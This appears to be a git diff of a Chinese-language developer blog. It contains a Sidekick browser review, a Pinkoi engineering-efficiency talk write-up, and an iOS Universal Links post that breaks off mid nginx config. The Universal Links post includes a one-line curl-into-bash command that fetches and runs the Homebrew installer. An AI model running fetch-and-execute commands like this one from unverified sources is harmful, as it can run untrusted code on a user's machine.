  • 開啟 Sidekick

映入眼簾的是 Sidekick 介紹頁,點擊上方「Continue」繼續。

使用 Google、Microsoft 或直接建立 Sidekick 帳號;這個帳號是 for Sidekick 服務的帳號,與 Google、Microsoft 無關。

⬇️⬇️⬇️ 如果你是從 Chrome 要轉換到 Sidekick, 請先閱讀完本章節再繼續建立帳號 ⬇️⬇️⬇️

跟 Chrome 不同 Chrome 安裝完的登入帳號就是直接綁定、同步 Google 帳號上的瀏覽器資料; 你會發現 Sidekick 這步登入完帳號什麼資料也沒進來,原因是 Google 目前封鎖所有第三方服務存取同步功能 ,所以 Sidekick 無法直接透過帳號做同步、匯入資料。

人員資料部分也不能同步 Google 的帳號資訊

人員資料部分也不能同步 Google 的帳號資訊

Sidekick 同步設定,只有可憐的搜尋字詞同步

Sidekick 同步設定,只有可憐的搜尋字詞同步

那要如何匯入 Chrome 資料呢?

官方給的方法非常繞路,但目前也只能這樣。

如果你本來就是 Chrome 的使用者可以跳過 1~3 步驟。

  1. 下載&安裝 Chrome
  2. 登入 Chrome
  3. 完成同步 Google 帳號上的瀏覽器資料到 Chrome
  4. 完全關閉 Chrome ( ! 重要 !,MacOS 用戶請確認 Dock 上 Chrome Icon 下面沒有小點點)
  5. 繼續前一步的建立帳號
  6. 第一次建立完帳號,會問你要從哪個瀏覽器匯入資料
  7. 選擇 Chrome
  8. 等待匯入完成

匯入完成後,所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能,都會無痛搬移到 Sidekick 上;只有少部分服務需要重新登入,其他都不用,等於無痛轉移!

這邊有個小問題,就是如果非建立新帳號(EX: 重裝)就只能書籤、瀏覽紀錄、已存密碼;擴充功能無法自動匯入, 查官方 Q&A 只得到自己從 Chrome extension / app store 重裝

同步問題?

既然 Google 封鎖第三方存取雲端資料,那如何解決書籤跨裝置同步問題呢?

Sidekick 近期將會釋出 Sidekick Sync 解決這個問題

本文使用的是我個人電腦,非辦公用;所以會夾雜社群娛樂網站,敬請見諒。

特色功能

無痛轉移

如同前文安裝步驟,第一次安裝打開、建立帳號登入後;可以無痛從現有的 Safari、Chrome、Edge 無痛轉移所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能。

已登入的網站 Session、擴充功能我覺得是體驗最好的,以往的瀏覽器都只做書籤的轉移,但所有網站都要重新登入、所有擴充功能都要重新安裝,非常的消耗耐心。

強大的首頁功能

與 Chrome 單調的首頁不同也不需要花心力去找首頁解決方案,Sidekick 自帶精美又方便的首頁功能。

  • 搜尋匡可搜尋 瀏覽紀錄、書籤,若無搜尋結果則自動變 Google 搜尋
  • 左上方數據化顯示反追蹤、記憶體管理、反廣告狀況
  • 顯示今日日期、現在時間
  • 上方我們稱為 Tab,左側工具列上方稱為 Application
  • 首頁背景圖可客製化,或自動展示風景圖

Application 功能

不只是網站的快速入口, 使用起來類似 MacOS 的 Dock,Application 網站啟用時會常駐在瀏覽器上(左方有小點點)但同時又會做好記憶體管理;啟用狀態下如果網站有通知會標記數字提醒。

Application 可以快速從首頁加入,也可以從 Tab 建立或手動輸入網址、ICON 圖片加入。

Sidekick 已內建了上百個生產力工具網站,可快速加入 Application。

如果從首頁加入 Application 後沒出現在左方 Sidebar 可以自行拖曳過去。

在 Application 按右鍵可快速查看最近瀏覽、另外也支援多帳號切換。

多帳號切換支援的網站不太多,不支援只能先用 Private Mode (無痕模式);目前測試 Slack、Notion 都支援。

  • 左方 Application 與上方 Tab 互不影響,Application 區塊是獨立的不會出現在上方 Tab。

每個 App 都可個別進行設定,例如關閉通知、關閉 Badge 等等。

視窗分割功能

雖然 MacOS 自帶視窗分割功能,但我其實很少使用;除非是想要完全進入專注狀態,更多時候的需求是要同步對照網頁內容+使用其他 MacOS App 做事,這時候純瀏覽器的分割視窗功能就很實用!

例如,這樣就可以邊上線上課&做筆記。

中間分隔大小可以自由拖曳調整。

使用方法,只要點擊瀏覽器右上角的分割視窗按鈕,選擇要加入左方的視窗即可,再點一次就會關閉分割。

Spotlight 功能

類似 MacOS 的 Spotlight,在任何視窗都能按下「Option」+「f」做全瀏覽器搜尋。

  • 可以使用「Option」+「z」或「Control」+「tab」進行 Tab 的快速切換
  • 「Option」+「1–9」快速切換位置 1~9 的Tab

Tab Saver (Save Sessions) 功能

同 Chrome 上很流行的 Tab Saver 擴充功能,能快速儲存目前已打開的 Tab 網頁,並且能在其中做切換,方便我們管理工作的不同狀態。

點擊左下角的「F」(First Session) 即可進入 Session 管理頁面。

點擊上方「Add new session」可以將目前 Tab 狀態儲存下來,開啟全新乾淨的瀏覽環境。

可以在 Session 之間切換,點擊「Activate」即可恢復 Tab。

Session 不會影響到左邊啟用中的 Application。

  • 可以使用快捷鍵「Option」+「W」快速進行 Session 切換
  • 「Option」+「⬆️」+「W」進行 Session 管理

優秀的 Application 通知功能

實際上現在開始,只要有提供 Web 版的通訊服務,都可以直接使用 Sidekick Application 不需特別安裝電腦應用程式;前文有提到 Application 的通知功能就如同電腦應用程式,一樣即時完整。

  • 記得授權 Sidekick 發送電腦端通知;這樣網頁的通知才會在電腦端跳出來提示。

筆記功能

內建整合 Google Keep 雲端筆記功能,點擊左下方文件 Icon 可快速開啟 Google Keep 做筆記。

Google Keep 儲存於雲端 Google 帳號,支援跨平台跨裝置的筆記同步存取。

可以使用這個功能快速紀錄事項。

不太確定日後會不會改成自家的 Sidekick Sync,畢竟這樣才有優化整合的空間。

  • 可以使用快捷鍵「Option」+「N」快速進行 Session 切換

內建反追蹤反廣告、記憶體管理功能

隱私浪潮的來襲,各大企業漸漸開始注重用戶隱私,以 Apple 為最主要領導者,在新版 Safari 中也開始內建隱私保護功能;但作為隱私資訊的最大獲利者 Google 廣告,我想應該很難在 Google Chrome 上看到改變。

Chromium != Chrome,Chromium 是瀏覽器技術核心的開源專案。

雖然 Chromium 也是由 Google 主導,但他開源自由原始碼的特性;讓任何開發者都能基於此核心進行優化;Sidekick 也是運用此方法在 Chromium 基礎上進行優化,能同時保留 Chrome 的特點但又能加強 Chrome 缺少的功能。

細節

更多功能等你來探索體驗!

費用

「企業不賺錢是種罪惡 (你不賺錢,是對社會的罪惡,因為我們拿社會的資金,取社會的人才,沒有充足的盈餘,我們在浪費社會可貴資源,這些資源可以在別處更有效地運用。)」- Panasonic 創辦人 — 松下幸之助 (文字參考自商業思維學院)

一個好的產品要能有好的現金流,才能提供更好的服務也才能走得更久;以下是 Sidekick 的收費內容:

以個人使用來說免費方案啜啜有餘,但如果有能力就不妨贊助一下開發團隊吧!

  • 目前加入的使用者都是屬於 Early access 方案,貌似不受 Free 方案影響(我 Sidebar apps 超過 5 個也沒事)。
  • 現在邀請 10 位使用者 6 個月 Pro / 邀請 20 位使用者終身 Pro 的方案;所以喜歡本文的朋友可以透過 文內連結進行下載安裝,支持我也支持 Sidekick!

使用心得總結

這陣子使用下來,因為無痛轉移的緣故;已經完全捨棄 Chrome,也沒有什麼東西是一定要回去用 Chrome 開的,最好用的還是左方的 Applications,可以將工作上常用的網站加入在左方,快速切換處理&取得最新通知。

以往都會迷失在混亂的 Tab 中,或只能使用 Pin Tab 方式把固定重要的工作服務 Pin 在前面;但在切換的時候還是很痛苦,要去尋找。

現在我要做 Code Review 時就點 Github、要送審 App 時就點 App Store Connect、要看專案時就點 Asana,工作起來很有效率。

記憶體管理的部分,沒有特別做研究測試;不太確定優化效果,但有總比沒有好。

唯一隱憂是這個產品還太新,不太確定能走多遠;如果因為經營不善可能就會停止開發維護了;那會非常可惜!所以請大家大力推廣支持!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Leading Snowflakes 閱讀筆記

運用 Google Apps Script 轉發 Gmail 信件到 Slack

diff --git a/posts/11f6c8568154/index.html b/posts/11f6c8568154/index.html new file mode 100644 index 000000000..3c4fbb193 --- /dev/null +++ b/posts/11f6c8568154/index.html @@ -0,0 +1 @@ + 2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密 | ZhgChgLi
Home 2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密
Post
Cancel

2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密

2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密

Pinkoi 高效率工程團隊大解密 Tech Talk 分享

高效率工程團隊大解密

2021/09/08 19:00 @ Pinkoi x Yourator

My Medium: ZhgChgLi

關於團隊

Pinkoi 的工作方式是由多個 Squad (小隊)組成:

  • Buyer-Squad :主攻買家端功能
  • Seller-Squad :主攻設計師端功能
  • Exploring-Squad:主攻瀏覽探索
  • Ad-Squad:主攻平台廣告
  • Out-Of-Squad:主要做支援、Infra 或 流程優化

每個 Squad 會由各 Function 隊友共同組成,有 PM、Product Designer、Data、Frontend、Backend、iOS、Android…等等;長期、持續性的工作目標都會由 Squad 來完成。

除了 Squad 之外也會有些跨團隊 Run 的 Project,多半時中短期的工作目標,可以是發起人或任何職務的隊友擔任 Project Owner,任務完成後即 Close。

文末還有 關於 Pinkoi 的文化是如何支持隊友解決問題 ,如果 對實際做了什麼內容不感興趣的朋友,可直接到頁底查看此章節

人數規模與效率關係

人數規模成長跟工作效率的關係,待過 10 個人的新創到百人的團隊(還沒挑戰過千人)但是光從 10 跳到 100,10 倍的差距在很多事上就很有感了。

人少,溝通跟處理事情都很快,走過去討論好,等下就可以馬上給你了;因為「人與人的連結」相當強烈,彼此都能同步協作。

但在人多的情況,很難這樣直接溝通,因為一起協作的人變多了,每個都走去講一整個上午就沒了;還有大家互相協作的人也很多,事情只能排優先順序來處理,不是緊急的事不可能馬上給你,這時候就要非同步的等待,去做其他事情。

更多職務的人加入,可以讓工作分工更細緻專業、提供更多產能或更好的品質、更快的產出。

但如同開頭說的,相對的;會有更多與人的協作,協作相對的就是會有更多溝通時間。

還有小問題會被加倍放大,例如本來 1 個人每天都需要花 10 分鐘貼報表,可以接受;但現在假設變 20 個人,乘下來每天都要多花 3 個多小時貼報表;這時候貼報表這件事的優化、自動化就會很有價值,每天省 3 小時,一年工作日抓 250 天,就要多浪費 750 小時。

人數規模成長,以 App Team 為例,會有比較密切協作的有這些職務。

Backend — API、Product Designer — UI 這不用講,Pinkoi 是國際級的產品所以在功能上的文字都需要 Localization Team 幫我們翻譯,還有因為我們有 Data Team 在做資料搜集分析,所以除了開發功能,還需要與 Data Team 討論事件埋設點。

Customer Service 也是會經常與我們有互動關係的 Team,除了使用者有時會直接透過商城評價反應訂單問題,更多的時候是使用者直接留下一顆星說遇到問題,這時候也需要請客服團隊幫忙做深入的詢問,是遇到什麼問題?我們怎麼幫助你?

有以上那麼多的協作關係,意味著很多溝通機會。

但要記得,我們不是在逃避或是盡可能減少溝通,優秀的工程師溝通能力也很重要。

我們要做的事是聚焦在重要的溝通上,如創意發想、需求內容跟時程的討論;不要浪費時間在重複問題的確認,或發散模糊的溝通,你問我問我他的情況也要避免。

尤其疫情時代,溝通時間寶貴,要放在更有價值的討論上。

「我以為你以為的我以為的以為」 — 這句話完美詮釋了模糊溝通的後果。

不要說工作了,日常生活上我們也很常會遇到因為雙方認知不同導致的誤會,生活上輕鬆自在靠的是彼此的默契;但工作上就不行了,雙方認知不同如果沒深入討論,很容易到產出階段才發現怎麼跟想的都不一樣。

介面溝通

這邊引入的想法是透過一個共識的介面來做溝通,就類似我們工程物件導向程式設計中, SOLID 原則裡的 依賴反轉原則 Dependency inversion principle (不懂也沒關係);在溝通上也能應用相同的概念。

第一步是找出什麼地方是模糊的、每次都要重複確認的溝通,或是需要什麼溝通才能更聚焦有效,甚至只需要這個交付就不需要額外溝通的事。

找出問題後就能定義出「介面」,介面就是媒介的意思,可以是一份問件、流程、check list 或工具…等等

使用這個「介面」作為彼此溝通的橋樑,介面可以有多個,什麼場景就用什麼介面;遇到相同場景優先使用這個介面來做初步溝通;如果還有需求要溝通,可以基於這個介面深入聚焦的討論問題。

App Team 與外部協作關係

以下以 App Team 協作為例舉 4 個介面溝通的例子:

第一個是與 Backend 協作在沒有任何介面共識前可能會有上圖情況。

對於 API 怎麼用,如果單純地將 API Response String 給 App Team 容易有模糊地帶,例如 date 我們怎們知道是 Register Date? 還是 Birthday?,還有範圍很廣,很多欄位需要確認。

這個溝通也是重複的,每次有新的 Endpoint 都要再確認一次。

這就是很經典的無效溝通案例。

App 與 Backend 彼此缺少的就是一個溝通介面,Solution 有很多種,也不一定要用工具;可以只是一份人工維護的文件。

[這塊 2020 Pinkoi 開發者之夜有跟大家分享過 — by Toki](https://www.yourator.co/articles/171#Toki){:target="_blank"}

這塊 2020 Pinkoi 開發者之夜有跟大家分享過 — by Toki

Pinkoi 使用的是 Python (FastAPI) 從 API Code 自動產生文件,PHP 可以用 Swagger (之前公司做法);優點是文件的大框架、資料格式都能從 Code 自動產生出來,降低維護成本,只需處理好欄位說明即可。

p.s. 目前新的 Python 3 都會使用 FastAPI,舊的部分會逐步更新,暫時先用 PostMan 做為溝通介面。

第二個是與 Product Designer 的協作,其實道理上與 Backend 類似,只是問題換成是確認 UI Spec、確認 Flow。

色碼、字型如果零散,我們 App 也會很痛苦,撇開需求本來就是這樣,我們不想要有同個 Title 有明明顏色一樣但色碼跑掉或同個位置 UI 不統一的狀況。

Solution 最基本的就是要先請設計大大整理好 UI 的元件庫、建立好 Design System (Guideline),並在出 UI 時做好標記。

我們在 Code Base 上根據 Design System (Guideline) 去建立相應的 Font、Color、根據元件庫建立出 Button、View。

套版的時候統一使用這些已建立好的元件來套版,方便我們直接看 UI 設計稿就能快速對齊。

但這個很容易亂掉,要動態的調整;不能涵蓋太多特例,也不能固守都不擴充。

p.s. 在 Pinkoi 與 Product Designer 的協作是互相的,Developer 也能提出更好的做法與 Product Designer 討論。

第三個是和 Customer Service 的介面,商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。

因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。

這個最佳解就是讓商城評價能自動同步到我們的工作平台,可以花 $ 買現有的服務,或是用我開發的 ZhgChgLi / ZReviewTender (2022 新)。

部署方式、教學及技術細節可參考: ZReviewTender — 免費開源的 App Reviews 監控機器人

這個機器人就是我們的溝通介面,他會將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並在上面追蹤、溝通討論。

最後一個例子,是與 Localization Team 的工作依賴;不管是新功能或修改舊翻譯,都需要等 Localization Team 完成工作交給我們後續協助處理。

這個自行開發工具的成本太高,所以直接使用第三方服務來協助我們解除依賴關係。

所有翻譯、Key 都由第三方工具管理,我們只要事先定好 Key 就能分頭行動,雙方只要在 Deadline 打包前完成工作即可,不用互相依賴;Localization Team 完成翻譯後,工具會自動觸發 git pull 更新最新的文字檔到專案內。

p.s Pinkoi 因很早期就有這流程,當時選用的是 Onesky 不過這幾年有更多優秀的工具可用,可以參考採用其他的。

App Team 團隊內互相協作關係

剛說的是外部,現在來說內部。

在人少或是說一個開發者維護一個專案的時候;你想做什麼就做什麼,你對專案的掌握度、了解程度都很高,問題不大;當然你如果有好的 Sense 就算是一人專案也能做到這邊要提的所有事。

但在互相協作的隊友越來越多的情況下,大家都在同個專案底下做事,如果還是各做各的將會是場災難。

例如打 API 一下這邊這樣做一下那邊那樣做、很常重造輪子浪費時間或什麼都不 Care 直接隨便弄一弄上線,都會對未來的維護跟可擴充性增加巨大的成本。

團隊內與其說是介面,我覺得太見外了;應該要說共識、共鳴更有團隊意識感。

最基本的老生常談就是 Coding Style,命名的習慣、位置怎麼放、Delegate 怎麼用…之類;可以以入業界常用的 realm / SwiftLint 進行約束,多國語系語句可以用 freshOS / Localize 整理 (當然,如果你已經是用前文提到的統一由第三方工具管理,就可以不用這個)。

第二個是 App 架構,不管是 MVC/MVVM/VIPER/Clean Architecture 都可以,核心重點是乾淨、統一;不用追求一定要潮,統一就好。

Pinkoi App Team 使用的 Clean Architecture

之前在 StreetVoice 只是純 MVC 但是是乾淨統一的,協作起來也很順暢。

還有 UnitTest,人多很難避免你現在做的邏輯哪一天不小心被改壞;有多寫測試能多一份保障。

最後就是文件的部分,關於團隊做事的流程、規格或操作手冊,方便隊友忘記的時候快速翻閱、新人快速上手。

除了 Code Level 的介面之外,協作上還有其他介面協助我們提高效率。

第一是在需求實作前有一個 Request for comments 的階段,負責開發的人大概說明一下這個需求會怎麼做,然後其他人可以留意見想法。

除了可以防止重造輪子之外,還可以集思廣益,例如之後其他人要擴充別人要怎麼用、或日後可能有什麼需求可以列入考量…等等,當局者迷旁觀者清啊。

第二是做好 Code Review,把關我們的介面共識有沒有落實,例如:Naming 方式、UI Layout 方法、Delegate 用法、Protocol/Class 宣告…等等 還有架構有沒有亂用或趕時間亂寫、發展方向假設要朝全面 Swift 發展,有沒有還在送 OC 的 Code…等等

主要是 Review 這些,其次才是功能正不正常…之類的協助。

p.s. RFC 的目的是提升工作效率,所以不應該太冗長,甚至嚴重拖累工作進度;可以想成單純的開工前討論環節。

統整一下團隊內介面共識的功能,最後提到一個 墜機理論 的 Mindset 我覺得是個不錯的行為基準點。

摘錄自 [MBA 智庫](https://wiki.mbalib.com/zh-tw/%E5%9D%A0%E6%9C%BA%E7%90%86%E8%AE%BA){:target="_blank"}

摘錄自 MBA 智庫

運用在團隊上就是假設今天所有人都突然消失了,現存的 Code、流程、制度能不能讓新的人快速上手?

Recap 介面意義,團隊內的介面是用來增加彼此的共識,團隊外的協作是降低彼此的無效溝通,用介面作為溝通沒截,專注於需求討論。

再次重申「介面溝通」不是什麼特別的專有名詞或是工具、工程的東西,他只是個概念,適用於任何職務場景的協作,可以單純只是份文件或流程,順序上要先有這個東西然後才來溝通。

這邊假設每次多花的溝通時間是 10 分,團隊 60 人,每個月發生 10 次,一年就浪費了 1,200 小時在無謂的溝通上。

提升效率 — 自動化重複性工作

第二章節想要跟大家分享一下關於自動化重複工作對於提升工作效率的效果,一樣會以 iOS 為例,但 Android 也是相同的方式。

不會提到技術實作細節,單講原理上的可行性。

整理一下我們有用到的服務,包括但不限於:

  • Slack:溝通軟體
  • Fastlane:iOS 自動化腳本工具
  • Github:Git Provider
  • Github Action:Github 的 CI/CD 服務,後面會介紹
  • Firebase:Crashlytics、Event、App Distribution (後面會介紹)、Remote Config…
  • Google Apps Script:Google Apps 的外掛腳本程式,後面會介紹
  • Bitrise:CI/CD Server
  • Onesky:前面有說到,Localization 的第三方工具
  • Testflight:iOS App 內測平台
  • Google Calendar:Google 行事曆,後面會介紹用在哪
  • Asana:專案管理工具

釋出測試版的問題

第一個要說的重複性問題,是當我們 App 在開發階段想要給其他隊友搶先測試的時候,傳統就是直接借手機來 Build;如果只有 1~2 人問題不大,但是團隊有 20~30 人要測,光幫忙安裝測試版那天就不用工作了,而且若有更新,整個就都要重新來過。

另一個方法是使用 TestFlight 作為測試版發布媒介,我覺得也不錯;但有兩個問題,第一個是 Testflight 等同 Production 環境,不是 Debug;第二是當同時開發的需求、同事要測不同需求的隊友很多,Testflight 就會大亂,包版的 Build 也會狂改,但也不是不行。

在 Pinkoi 的解法是,首先將「由 App Team 來安裝測試版」這件事拆開,用 Slack WorkFlow 做為 Input UI 來達成,輸入完成後會觸發 Bitrise 跑 Fastlane 腳本去打包上傳測試版 ipa 到 Firebase App Distribution。

Slack Workflow 應用可參考此篇文章: Slack 打造全自動 WFH 員工健康狀況回報系統

Firebase App Distribution

Firebase App Distribution

要測試的隊友,只要照著 Firebase App Distribution 的步驟安裝完憑證、註冊完裝置,就能在上面選擇安裝想要的測試版,或直接回去點信的連結安裝。

但這邊要注意,iOS Firebase App Distribution 佔用的是 Development Device,上限只能只能註冊 100 個裝置,看裝置不看人。

所以可能要跟 TestFlight (by 人,外部測試 1,000 人) 的解法做個權衡。

但至少前面的 Slack WorkFlow UI Input 是可以考慮採用的。

如果要做的進階可以開發 Slack Bot,能有更完整更客製化的流程、表單可用。

Recap 釋出測試版自動化的成效,最有感的是把整個步驟都搬到雲端上執行,App Team 不需要插手,完全自助式。

打包正式版的問題

第二個也是 App Team 很常要做的事,打包、送審正式版 App。

團隊小的時候,只有單線開發,App 版本更新問題不大,可以很自由也可以很規律。

但團隊大,同時有多線的需求在開發跟迭代,就會遇到如上圖的狀況,沒有做好前文說的「介面溝通」就會大家各自上各自的,這會導致 App Team 疲於奔命,因 App 更新的成本比網頁高、過程繁瑣,另一方面頻繁零亂的更新也很干擾使用者。

最後是管理問題,如果沒有固定的流程、日期,很難去對每個步驟該做什麼事進行優化。

問題如上。

解決辦法是導入 Release Train 到開發流程中,核心概念是把版本更新跟專案開發這兩件事分開。

我們將日程固定下來,每個階段會做什麼事也定下來:

  • 固定週一早上更新新版
  • 固定週三 Code Freeze (不再 Merge Feature PR)
  • 固定週四開始 QA
  • 固定週五打包正式

實際時程(QA 多久)、發版週期(每週、每兩週、每個月)依照各公司狀況可自行調整, 核心就是確定什麼固定什麼時間點做什麼事

這是國外推友發的版更週期調查,大多是 2 週一次。

以每週更新 & 我們多團隊為例,就會如上圖。

Release Train 顧名思義就像火車站一樣,每個版本都是一班列車

如果錯過就要等下一班, 各個 Squad 團隊跟專案自己選擇要上車的時間

這是一個很好的溝通介面,大家只要有共識並遵守規定就能有條不紊的更新版本。

更多 Release Train 的技術細節可參考:

流程、日程確定後,我們就可以對每個階段做的事進行優化。

像是打包正式版,傳統手動方式費時費力,從打包、上傳、送審整個流程大概要花 1 個小時,這時間內工作狀態要一直切換,很難做其他事;每次的打包都會重複這個過程,很浪費工作效率。

既然我們已經固定日程了,這邊直接引入 Google Calendar,將預計日程要做的事加到行事曆上,時間到的時候會透過 Google Apps Script 去呼叫 Bitrise 執行 Fastlane 打包正式版和送審的腳本完成全部工作。

使用 Google Calendar 串接還有個好處,如果遇到突發狀況需要延後、提早,直接上去更改日期即可。

Google Apps Script 若要直接在 Google Calendar 事件時間到時自動執行,目前只能自己 on 服務來做,如果要快速解決可以使用 IFTTT 做為 Google Calendar <-> Bitrise/Google Apps Script 的橋樑,做法可 參考此篇文章

p.s. 1. 目前 Pinkoi iOS Team 是採用 Gitflow 工作流程。 2. 原則上這個共識是所有團隊都要遵守,所以不希望有需求是打破這個規則的 (EX: 特別週三要上),但如果是與外部合作的項目,如果真的沒辦法還是要保持彈性,畢竟這個共識是團隊內的。 3. HotFix 嚴重問題,是隨時可更新的,不受 Release Train 規範。

這邊多提了 Google App Scripts 的應用,詳情可參考: 運用 Google Apps Script 轉發 Gmail 信件到 Slack

最後一個是使用 Github Action 提升協作效率 (PR Review)。

Github Action 是 Github 的 CI/CD 服務,可以直接與 Github 事件作綁定,觸發時機從 open issue、open pr 到 merge pr…等等都有。

Github Action 只要是 Github 託管的 Git 專案都能使用,Public Repo 沒有限制,Private 每個月有 2,000 分鐘的免費額度可以用。

這邊舉兩個功能:

  • (左)是 PR Review 完之後會自動打上 reviewer name Label,讓我們能快速 summary pr review 的狀況。
  • (右)是每天會在固定時間整理&發送訊息到 Slack Channel,提醒隊友有哪些 PR 正在等待 Review( 仿造 Pull Reminders 的功能 )。

Github Action 還有很多可以做的自動化項目,大家可以發揮想像。

像是在開源專案常看到的 issue bot:

[fastlane](https://github.com/fastlane){:target="_blank"} [fastlane](https://github.com/fastlane/fastlane){:target="_blank"}

fastlane / fastlane

或自動關閉太久沒 Merge 的 pr 都能用 Github Action 來自動完成。

Recap 自動化打包正式版的成效,一樣直接使用現有工具串接;除了 自動化之外還加入固定流程達到加倍提升工作效率

原本除了手動打包時間,其實還有額外溝通上版時間的成本,現在直接歸 0;只要確保在時程內 上車 就可以把時間都專注在「討論」跟「開發」上。

總計算一下這兩個自動化帶來的成效,一年可節省 216 工作時數。

自動化加上前面提到的溝通介面,我們來看一下做這些事總共能提升多少效率。

除了剛做的項目,我們還需要多評估 心流切換成本 ,當我們持續投入工作一段時間後就會進入「心流」狀態,此時的思緒、生產力都達到巔峰,能提供做好最有效的產出;但如果被無謂的事(EX: 多餘的溝通、重複性工作)打斷,要重新回到心流,又會再需要一段時間,這邊以 30 分鐘為例。

被無謂的事打斷的心流切換成本也應該列入計算,這邊抓 30 分鐘每次,一個月發生 10 次,60 人一年就多浪費 3,600 小時。

心流切換成本 (3,600) + 溝通介面不好的情況下多餘的溝通 (1,200) + 自動化解決的重複性工作 (216) = 一年多損失了 5,016 小時。

原本浪費的工作時間,節省起來後可以投入其他更有價值的事,所以實際換成產能應該還要再 X 200%。

尤其隨著團隊規模不斷成長,對工作效率的影響也隨之放大。

早優化早享受,晚優化沒折扣!!

Recap 高效率工作團隊的內幕,我們主要做了什麼事。

No Code/Low Code First 優先選擇現有工具串接(如本篇範例)如果沒有現有工具可用再來評估投入自動化的成本,跟實際節省的收入。

關於文化的支持

在 Pinkoi 人人都可以是解決問題的領導者

在 Pinkoi 人人都可以是解決問題的領導者

對於問題的解決,事情的改變;絕大多數都需要很多很多團隊一起努力才有可能更好,這部分就很需要公司文化的支持鼓勵,不然只有自已在推動會非常辛苦。

在 Pinkoi 人人都可以是解決問題的領導者,不一定要是 Lead or PM 才能解決問題,前面介紹的溝通介面、工具或自動化項目很多都是隊友發現問題,提出解法,大家一起努力完成的。

關於團隊文化是如何支持推動改變的,解決問題的四個階段都可以連結到 Pinkoi 的 Core Values。

第一步 Grow Beyond Yesterday

  • 好還要更好,如果有發現問題,不管是大小,前面有說到隨團隊規模成長,小問題也會有放大效果
  • 調查、歸納問題,避免過早優化(有的問題可能只是暫時過渡而已)

再來是 Build Partnerships

  • 積極的溝通各面向蒐集建議
  • 保持換位思考(因為有的問題可能是對方的最佳解,要做好權衡)

第三步 Impact Beyond Your Role

  • 發揮自身影響力
  • 提出問題解決計畫
  • 如果跟重複工作有關則優先使用自動化方案
  • 記得保持彈性跟可擴充性,避免 Over Engineering

最後 Dare to Fail!

  • 勇敢實踐
  • 持續追蹤、動態調整解決方案
  • 取得成功後,記得與團隊分享成果,以促成跨部門資源整合 (因為同個問題可能同時存在在多個部門)

以上是 Pinkoi 高效率工程團隊大解密的分享,謝謝大家。

立即加入 Pinkoi >>> https://www.pinkoi.com/about/careers

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

運用 Google Apps Script 轉發 Gmail 信件到 Slack

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具

diff --git a/posts/12c5026da33d/index.html b/posts/12c5026da33d/index.html new file mode 100644 index 000000000..8f8c2e35d --- /dev/null +++ b/posts/12c5026da33d/index.html @@ -0,0 +1,165 @@ + Universal Links 新鮮事 | ZhgChgLi
Home Universal Links 新鮮事
Post
Cancel

Universal Links 新鮮事

iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境

Photo by [NASA](https://unsplash.com/@nasa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by NASA

前言

對於一個有網站又有 APP 的服務, Universal Links 的功能對於使用者體驗來說無比的重要,能達到 Web 與 APP 之間的無縫接軌;但一直以來都只有簡單設置,沒有太多的著墨;前陣子剛好又遇到花了點時間研究了一下,把一些有趣的事記錄下來。

常見考量

經手過的服務,對於實作 Universal Links 的考量都是 APP 上並沒有實作完整的網站功能,Universal Links 認的是域名,只要域名匹配到就會開啟 APP;關於這個問題可以下 NOT 排除 APP 上沒有相應功能的網址,若網站服務網址很極端,那乾脆新建一個 subdomain 用來做 Universal Links。

apple-app-site-association 何時更新?

  • iOS < 14,APP 在第一次安裝、更新時會去詢問 Universal Links 網站的 apple-app-site-association。
  • iOS ≥ 14 ,則是由 Apple CDN 做快取定期更新 Universal Links 網站的 apple-app-site-association;APP 在第一次安裝、更新時會去跟 Apple CDN 拿取;但這邊就會有個問題,Apple CDN 的 apple-app-site-association 可能還是舊的。

關於 Apple CDN 的更新機制,查了一下文件,沒有提到;查了下 討論 ,官方也只回應「會定期更新」細節之後會發佈在文件…但至今依然還沒看到。

我自己覺得應該最慢 48 小時,就會更新吧。。。所以下次有更改到 apple-app-site-association 的話建議在 APP 上架更新前幾天就先改好 apple-app-site-association 上線。

apple-app-site-association Apple CDN 確認:

1
+2
+
Headers: HOST=app-site-association.cdn-apple.com
+GET https://app-site-association.cdn-apple.com/a/v1/你的網域
+

可以取得當前 Apple CDN 上的版本長怎樣。(記得加上 Request Header Host=https://app-site-association.cdn-apple.com/

iOS ≥ 14 Debug

因前述的 CDN 問題,那我們在開發階段該如何 debug 呢?

還好這部分蘋果有給解決方法,不然沒辦法即時更新真的要吐血了;我們只需要再 applinks:domain.com 加上 ?mode=developer 即可,另外還有 managed(for 企業內部 APP) , or developer+managed 模式可設定。

加上 mode=developer 後,APP 在模擬器上每次 Build & Run 時都會直接跟網站拿最新的 app-site-association 來用。

如果要 Build & Run 在實機則要先去「設定」->「開發者」-> 打開「Associated Domains Development」選項即可。

⚠️ 這邊有個坑 ,app-site-association 可以放在網站根目錄或是 ./.well-known 目錄下;但在 mode=developer 下他只會問 ./.well-known/app-site-association ,害我以為怎麼沒效。

開發測試

如果是 iOS <14 記得有更改過 app-site-association 的話要刪掉再重 Build & Run APP 才會去抓最新的回來,iOS ≥ 14 請參考前述方法加上 mode=developer。

app-site-association 內容的修改,好一點的話可以自行修改伺服器上的檔;但對於有時候碰不到伺服器端的我們來說,如果要做 universal links 的測試會非常的麻煩,要不停的麻煩後端同事幫忙,變成要很確定 app-site-association 內容後一次上線,一直改來改去會把同事逼瘋。

在本地建一個模擬環境

為了解決上述問題,我們可以在本地起一個小服務。

首先在 mac 上安裝 nginx:

1
+
brew install nginx
+

如果沒安裝過 brew 可先安裝:

1
+
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+

安裝完 nginx 後,前往 /usr/local/etc/nginx/ 打開編輯 nginx.conf 檔案:

1
+2
+3
+4
+5
+6
+
...略
+server {
+        listen       8080;
+        server_name  localhost;
